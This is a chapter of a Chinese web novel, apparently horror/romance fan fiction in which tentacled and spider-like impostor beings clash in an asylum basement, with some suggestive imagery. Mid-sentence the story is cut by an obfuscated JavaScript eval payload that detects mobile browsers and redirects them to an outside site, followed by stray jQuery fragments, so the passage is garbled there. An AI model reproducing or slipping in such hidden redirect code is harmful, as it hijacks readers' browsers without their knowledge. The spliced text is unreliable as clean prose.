15.chapter15 包庇

作品:《安抚玩偶,但锈湖伪人[综游戏]

    这段插曲足以打乱白门的节奏,院长只好宣布暂停诵读,安排医生和安抚玩偶将病患引回房间。


    人群渐渐散去,尤安走到阿兹拉尔面前,低头不去看他柔和的淡蓝色眼瞳,伸手捏住他挂在胸前十字架,拉着他往房间走,“我们回去。”


    阿兹拉尔被他猝不及防一拉,踉跄迈了两步,跟在他后面,在走廊拐角处,贴在他耳边无奈地笑,“尤安,好多人都看着。”


    尤安回头,恰巧对上微微弯腰,任由他牵着走的主人。


    他左右环视,走廊还有零星的病患和安抚玩偶,向他们投以揣测的怪异目光。


    主人的眼睛里蕴着满满的笑意,却只是倒映着他的影子,一个模糊的黑影。


    他的喉咙里突然涌起一阵酸意,胸口发闷。


    他的倒影让他回想起夜里在主人门口吐卵的尼克尔。


    同样都是黑色短发,在远处伴随着漆黑的夜色,无法看清是卷的还是柔顺的。


    片段式的情节迅速在他的脑海里倒带。


    尼克尔的目光还是像蛛丝一样黏腻,紧紧包裹住主人,丝毫不受“流产”的影响。


    他怎么可能不计较,只不过他的滔天恨意转向……


    一名毫不相干的顶岗审核者,莱司。


    ——“我的错,杀死我。”


    莱司的话在他脑海里回荡,他的触手们和他同时嗅到复仇的危险气息,顶在他的腰窝处欲欲跃试。


    “尤安?”


    主人的低声呼唤让他的思绪瞬间回笼。


    他的脑子里好像有无数条触手在同时搅动,乱成一团。


    短暂的思考让他的呼吸变得急促,阳光洒在白门的砖瓦上,让他有种刚刚做了个噩梦的荒诞感。


    莱司或许真的会被尼克尔杀死,如果他不施以援手的话。


    如果莱司是一名正常的人类,他或许应该救。


    但从他刚刚和尼克尔的对话来判断,他绝对不是一个正常的人类。


    “尤安,闭眼。”


    还没等他做出决定,一只宽大温暖的手掌覆上了他的眼睛。


    他睁着眼睛,睫毛扫在手掌上。


    “你是怎么坚持不闭眼的?”主人的声音贴着他的耳朵,气流吹进他的耳孔,在他的耳朵里无限放大,他的心跳瞬间加速。


    “你的眼睛,全是红血丝。”


    他立马对号入座,脑袋炸开一阵又一阵白光。


    主人……是发现了他是伪人从而包庇他?


    他猛然抬手拉下主人的手腕,主人却还是带着温和笑意,仿佛只是提醒他。


    尤安迅速吞咽口水,搅紧了手指,连同体内的触手也互相撕扯。


    阿兹拉尔稳住他抬起揉眼睛的手,“手不干净。我们回去,继续读《百年孤独》?”


    尤安在和主人的片刻温存与莱司的性命之间犹豫片刻,最终还是忍心随了人类的思维。


    他和主人打商量,“今天估计不会有专人来打扫房间了,我得回去收拾,待会再回去一起读,好吗?”


    阿兹拉尔眼底掠过错愕,应是没想到他会拒绝,但随后表情缓和,摸了摸他的头顶,“好吧。”


    尤安没有回到自己的房间,而是调头向禁闭室走去。


    禁闭室在白门地下,穿过储藏室的通道,他看到禁闭室的入口,白色的栅栏门横在他面前。


    他本以为是莱司将尼克尔锁在禁闭室内,然而当他看清门内锁闩时,不由皱了皱眉。


    门是从内锁住的。


    他顿了顿,环顾四周,确保这里没有监控后,他的双腿化成触手,蠕动着从门的间隙里钻进去。


    白门挖了一条地道,专门为禁闭室而生。


    越往下走,光线越暗。


    他小心翼翼地用触手感知地面的变化,以防突然的踩空让他摔成章鱼泥。


    然而在他走到尽头的拐角处,左边的空间内似乎有橘黄色的光。


    他已经许久没有见过烛光了,上一次见到还是两百年前。


    他总觉得烛光是一样非常神圣的东西,还是营造氛围的好工具,正如现在。


    ——莱司跪在地上,白色的医护服垂在地面,眼睛被绷带蒙着,身上缠满了白丝,他的手被束缚在背后,仰头透过绷带“望”着面前站着的尼克尔。


    尤安的小腹绷紧,面前的场景让他觉得口舌发干。


    直到他的小腿传来黏腻的触感,他才发现他的触手们不知何时已经缠上他的腿,吸盘争先吮.吸着他的皮肤。


    而他的交接腕也藏在众多触手中,细软的口器啃噬着他的大腿皮肤。


    “他们在不停排查。”莱司手上捏着他厚重的眼镜,腰背挺得笔直,“你的命是我救的,我现在也在救你。”


    “莱司。”尼克尔的声音哑得可怕,抚上莱司的下巴,“你把我和阿兹拉尔的孩子杀死了。”


    尤安的身体一僵,尼克尔的话如同一记重锤砸在他的触手上。


    他的触手花朵似迅速枯萎,黏液在地上积成一个小水洼。


    “那不是你和他的孩子。”莱司淡然得像和学生解释一种司空见惯的现象,“那是你偷的。”


    他又重复了一遍:“s-t-o-l-e-n”


    偷了……种子……孩子……


    尤安瞳孔骤缩。


    当年家族的二伯阿尔伯特就是这样偷了艾达阿姨的“种子”,和他自己的“种子”结合,用炼金术和巫术制造了他的孩子萝丝。


    戴尔说,【蜕】是打生育针的地方,尼克尔偷了种子,然后在主人门口“流产”。


    难道当年阿尔伯特的行径延伸到现在吗?


    【蜕】究竟有何魔力,能让这种离奇的生育方式在男人身上实现?


    他躲在暗处,手伸进口袋里,捏着那张烫金边都被揉到掉色的卡片,头歪到一个正常人难以企及的角度,一双无神的眼睛死死盯着光照下的尼克尔。


    他怎么偷到主人的种子的?


    那是属于他的,主人的所有都是属于他的。


    他的触手涨得发紫,黑色皮革般的表面鼓起了大大小小的肉.瘤,口器大张,露出森白平滑的牙齿。


    尼克尔被莱司的挑衅彻底激怒,一把揪住他的头发往上扯。


    骨节分明的手指从指尖开始发黑拉长,变得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458890|201194||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    像黑色的枯枝,从莱司的发旋延伸,指节弯曲,最终将指尖抵在他的太阳穴上。


    尼克尔的嘴缓慢地咧到耳根,说出的话变得含糊不清,但尤安还是听清了。


    “你杀死了我的一生。”


    莱司猝不及防握住尼克尔黑长的手指,垂眸哂笑,好像在说给他听,又好像在说给自己听,“人类和伪人怎么可能在一起生活呢?你扮做人类去做改造,其实你和他根本就不可能。”


    尼克尔的眼睛黑得像深洞,他的嘴咧到耳根,一条细长的蛛腿从他的舌尖钻出,源源不断的黑色蜘蛛从他的嘴里爬出,沿着他的手臂往莱司脸上爬。


    啪!


    黑红的触手倏然从黑暗里钻出,将已经接触莱司皮肤的蛛腿砸扁,抱脸虫一般盘住尼克尔的脸,吸盘吸附在他的脸上、脖子上。


    他从黑暗里走出,感受烛光洒在他的半身,缓慢地收紧了触手,看着尼克尔黑痩的手指刮着蟒蛇般缠绕的触手,手指末端的黑色倒刺刺进触手、刮着吸盘。


    他的心情莫名地感到愉悦和痛快。


    伪人里的败类,他要再收紧一点,紧一点……


    “尤安,停下。”莱司突然出声,在地上挣扎,试图挣脱束缚,“他只是恨我,他本性不坏。”


    触手尖因为这句话而跳动,吸盘微微舒张。


    尤安对着莱司歪了歪头,“你觉得伪人也分好和坏吗?”


    莱司却一改刚才面对尼克尔的凌厉,挂着微笑,柔和的眼睛和主人竟有几分相似,使得他怔愣片刻。


    “当然,你不也是伪人吗?”莱司扬了扬下巴,对着他的触手,“我觉得不仅不可怕,反而透着童真,很可爱。”


    尤安头一次被人夸触手,下意识想将触手收回验证它们是否如莱司所说的可爱。


    然而他的脑子虽然很小,但多日学习人类行为方式的他将目光落在莱司被绑着的双手。


    莱司似乎用左手食指在向握拳的右手手掌里输送一个黑色的方盒。


    “尤安,走过来些。”莱司说,“我不会伤害你,我告诉你一个秘密。”


    尤安的触手还卷着尼克尔的脸和胸腔部分,只留一线缝隙让他透气。


    他犹豫片刻,还是折服于和主人的眼睛过于相似的双眸,踌躇着上前。


    莱司贴近他的耳朵,用仅他们两个听得到的声音说:“你刚才听到了吧?其实他偷的‘种子’是我的,我换了门牌号。”


    尤安的双眼瞬间瞪大,触手上的肉.瘤像烧水壶里滚动的水泡,表面又逐渐变回到光滑的皮革感,然而与此同时,他的交接腕似乎接受到什么新奇的信号,兴奋地跳动两下。


    【医生和安抚玩偶全体都有,请在下午三点准时到会议室参加会议。】


    广播的声音传到地底时变得极为缥缈,但一道很实的声音却是透过广播声传进地下。


    “尤安,你在哪里?”


    阿兹拉尔的声音徘徊在禁闭室内,近得像贴着禁闭室的栅栏门呼唤。


    他的触手瞬间萎缩,皱巴巴地缩回身体。


    然而就在交接腕即将安全撤离时,一阵轻微的刺痛让他差点尖叫出声。